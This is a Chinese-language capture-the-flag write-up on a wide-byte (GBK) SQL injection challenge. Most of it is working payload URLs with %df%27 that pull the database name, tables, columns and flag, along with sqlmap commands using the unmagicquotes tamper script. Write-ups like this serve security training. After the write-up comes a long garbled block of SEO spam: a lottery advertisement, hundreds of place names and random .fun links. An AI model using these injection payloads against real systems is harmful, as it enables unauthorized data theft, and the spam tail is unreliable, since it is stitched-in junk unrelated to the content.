• (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    香港马会资枓大全2019天空彩彯天下彩天空彩票与你同行2019今晚开码结果开奖现场历史开奖资料记录在线查询 鄯善县| 星子县| 岳西县| 武夷山市| 邢台县| 长宁县| 金乡县| 天全县| 常州市| 任丘市| 阜南县| 宜城市| 文成县| 太保市| 平南县| 台中市| 莎车县| 南丰县| 都匀市| 汕尾市| 关岭| 安吉县| 博客| 余江县| 西华县| 金溪县| 新巴尔虎左旗| 永平县| 聊城市| 平塘县| 安平县| 高要市| 瑞丽市| 密山市| 延长县| 黔西| 枞阳县| 浮山县| 宁强县| 宜城市| 庐江县| 威宁| 兰州市| 枞阳县| 大邑县| 伊宁市| 广安市| 曲阳县| 屯昌县| 三江| 读书| 博客| 康保县| 九龙城区| 建湖县| 孟连| 巨野县| 涿鹿县| 易门县| 平和县| 肃南| 资兴市| 博客| 普定县| 广昌县| 清徐县| 甘泉县| 东乡族自治县| 娄烦县| 平武县| 古交市| 宁城县| 淮阳县| 信宜市| 镇雄县| 绿春县| 申扎县| 荆门市| 修水县| 温州市| 克拉玛依市| 山东| 西平县| 大姚县| 正镶白旗| 巴林左旗| 资中县| 昌平区| 陆丰市| 罗山县| 盱眙县| 平定县| 吉林市| 和平区| 肃南| 正蓝旗| 延津县| 榆中县| 忻州市| 武宁县| 枞阳县| 罗源县| 惠东县| 灵台县| 玉屏| 梨树县| 共和县| 永福县| 滁州市| 色达县| 搜索| 西乌珠穆沁旗| 延寿县| 浦县| 光山县| 隆回县| 邵东县| 仲巴县| 酉阳| 攀枝花市| 南陵县| 从江县| 凌海市| 永安市| 东海县| 灵宝市| 邛崃市| 南川市| 土默特右旗| 犍为县| 双牌县| 青州市| 遵化市| 洛南县| 黑水县| 盱眙县| 元阳县| 临武县| 勃利县| 宁陵县| 茂名市| 嘉峪关市| 丹巴县| 武宣县| 始兴县| 舞钢市| 天长市| 军事| 长兴县| 天津市| 咸阳市| 卢氏县| 综艺| 新建县| 万盛区| 噶尔县| 龙胜| 祁门县| 乌什县| 平远县| 肇东市| 若尔盖县| 台东县| 叙永县| 涟水县| 耒阳市| 白河县| 团风县| 凌云县| 洱源县| 赫章县| 城固县| 合川市| 肇源县| 洛川县| 庆云县| 甘泉县| 临清市| 潼关县| 沙坪坝区| 东兰县| 中西区| 内丘县| 景德镇市| 余江县| 依兰县| 新乡县| 威海市| 襄汾县| 曲阳县| 大英县| 汝阳县| 张北县| 贞丰县| 垣曲县| 宁南县| 新平| 长沙县| 忻城县| 灵武市| 曲麻莱县| 梅州市| 洱源县| 云安县| 枝江市| 临朐县| 南京市| 比如县| 哈尔滨市| 连平县| 林芝县| 金平| 扶沟县| 咸丰县| 富蕴县| 乾安县| 望谟县| 五莲县| 五常市| 峨山| 巨鹿县| 封丘县| 汉沽区| 如东县| 田东县| 昌宁县| 姜堰市| 通江县| 澎湖县| 贡山| 邯郸县| 荥经县| 永州市| 成武县| 石首市| 温州市| 永川市| 吉林省| 武鸣县| 临城县| 余姚市| 伊川县| 揭阳市| 南木林县| 大埔县| 宜都市| 大余县| 阿鲁科尔沁旗| 吐鲁番市| 博爱县| 冀州市| 西峡县| 庄河市| 施秉县| 西贡区| 舟山市| 临沂市| 忻城县| 丹棱县| 岑巩县| 白银市| 白玉县| 淄博市| 道真| 突泉县| 旬阳县| 安溪县| 乌兰县| 金寨县| 福安市| 松阳县| 舒兰市| 精河县| 涿鹿县| 丹巴县| 上虞市| 二手房| 宁陕县| 黎川县| 丘北县| 塔河县| 大姚县| 武义县| 加查县| 龙泉市| 西平县| 旬邑县| 美姑县| 衡山县| 巨野县| 忻州市| 绥江县| 旺苍县| 万年县| 商洛市| 旌德县| 康马县| 固镇县| 湟源县| 山东省| 毕节市| 孟村| 旺苍县| 临沧市| 玛沁县| 武冈市| 烟台市| 二连浩特市| 娱乐| 清水县| 光山县| 绵竹市| 尼勒克县| 界首市| 西昌市| 余江县| 临桂县| 和硕县| 哈密市| 五家渠市| 广宁县| 通榆县| 通道| 木里| 大庆市| 莎车县| 永康市| 伊宁县| 黑龙江省| 禹州市| 黄石市| 射洪县| 中宁县| 寿阳县| 襄城县| 许昌市| 安陆市| 吉安市| 文水县| 论坛| 定南县| 通渭县| 夏津县| 三江| 北辰区| 鄱阳县| 汕头市| 丹江口市| 嘉祥县| 西畴县| 呼图壁县| 乐山市| 大埔县| 兴文县| 南溪县| 新郑市| 永宁县| 安溪县| 淮滨县| 巍山| 涞水县| 威远县| 太白县| 皋兰县| 周宁县| 宜城市| 云和县| 苍南县| 嘉善县| 明光市| 新绛县| 乐昌市| 股票| 藁城市| 南澳县| 黔东| 德令哈市| 客服| 吴忠市| 新和县| 姚安县| 威信县| 五莲县| 略阳县| 吉安市| 杭锦后旗| 旺苍县| 土默特左旗| 齐齐哈尔市| 白银市| 仙游县| 揭阳市| 昔阳县| 文登市| 昭觉县| 永寿县| 东源县| 郸城县| 德惠市| 屏南县| 壶关县| 石景山区| 福泉市| 稻城县| 高淳县| 屏东县| 松阳县| 莱芜市| 梁平县| 荣昌县| 乌海市| 广水市| 会宁县| 大石桥市| 信宜市| 淮滨县| 古蔺县| 加查县| 浪卡子县| 平泉县| 蓬莱市| 博兴县| 淄博市| 宿州市| 阿克| 漳浦县| 五峰| 滦平县| 临澧县| 廊坊市| 巩义市| 松桃| 乌苏市| 江北区| 昔阳县| 郯城县| 涡阳县| 宝丰县| 含山县| 沁水县| 扎囊县| 民权县| 扎赉特旗| 日喀则市| 翁牛特旗| 霍邱县| 长宁县| 汉沽区| 喀喇沁旗| 大庆市| 苍山县| 广饶县| 南安市| 金门县| 辽阳县| 兰坪| 郑州市| 鄂尔多斯市| 乌海市| 英吉沙县| 舒城县| 定边县| 瑞昌市| 通江县| 哈巴河县| 东乌珠穆沁旗| 芒康县| 西贡区| 清徐县| 塘沽区| 平谷区| 紫阳县| 洛隆县| 西充县| 义马市| 阿荣旗| 吴桥县| 德阳市| 于都县| 资阳市| 太保市| 盱眙县| 恩施市| 沅陵县| 思南县| 蓝田县| 肇庆市| 铜陵市| 龙井市| 绍兴县| 关岭| 靖江市| 嘉义县| 福州市| 白山市| 疏附县| 禹州市| 西充县| 定襄县| 孟州市| 广元市| 佛坪县| 教育| 周至县| 灵川县| 兖州市| 赤壁市| 萝北县| 西吉县| 隆昌县| 灯塔市| 平南县| 克什克腾旗| 独山县| 汪清县| 毕节市| 朝阳县| 涟水县| 寿宁县| 丰县| 博野县| 柳河县| 柏乡县| 谢通门县| 会同县| 垦利县| 蒙城县| 大同市| 玛曲县| 胶州市| 盐池县| 成武县| 石景山区| 新密市| 读书| 兰溪市| 濮阳市| 新龙县| 阿瓦提县| 哈尔滨市| 南乐县| 溆浦县| 正阳县| 蓬莱市| 凤城市| 曲麻莱县| 会东县| 汨罗市| 高唐县| 和林格尔县| 合江县| 江华| 榆树市| 随州市| 仁化县| 贵州省| 鄯善县| 深水埗区| 新竹县| 楚雄市| 永川市| 大埔县| 湖州市| 澎湖县| 革吉县| 逊克县| 平凉市| 安国市| 湖州市| 将乐县| 沅江市| 申扎县| 三原县| 本溪| 葵青区| 应城市| 静安区| 隆化县| 类乌齐县| 武宣县| 临清市| 乌兰浩特市| 台中县| 广东省| 调兵山市| 长治市| 淮阳县| 石首市| 广水市| 凤翔县| 永济市| 灌云县| 昌图县| 乌兰察布市| 荆门市| 兰西县| 天祝| 雷州市| 定南县| 朝阳市| 彭州市| 葫芦岛市| 南充市| 垣曲县| 鹤山市| 宽甸| 桐梓县| 金平| 楚雄市| 麻阳| 区。| 西安市| 石渠县| 鄢陵县| 伊春市| http://www.jx1870helpv.fun http://m.jx1870hozev.fun http://m.hz0j2r0vo.fun http://jx1870followv.fun http://m.hz0j1r0vo.fun http://m.jx1870gainv.fun http://jx1870guessv.fun http://wap.jx1870hozev.fun http://www.jx1870izprovev.fun http://www.hz0j3r4vo.fun http://www.jx1870flowv.fun http://wap.hz0j4r2vo.fun http://www.jx1870handv.fun http://www.jx1870judgev.fun http://jx1870izpactv.fun http://www.hz0j1r5vo.fun http://www.jx1870foundv.fun http://www.jx1870izplezentv.fun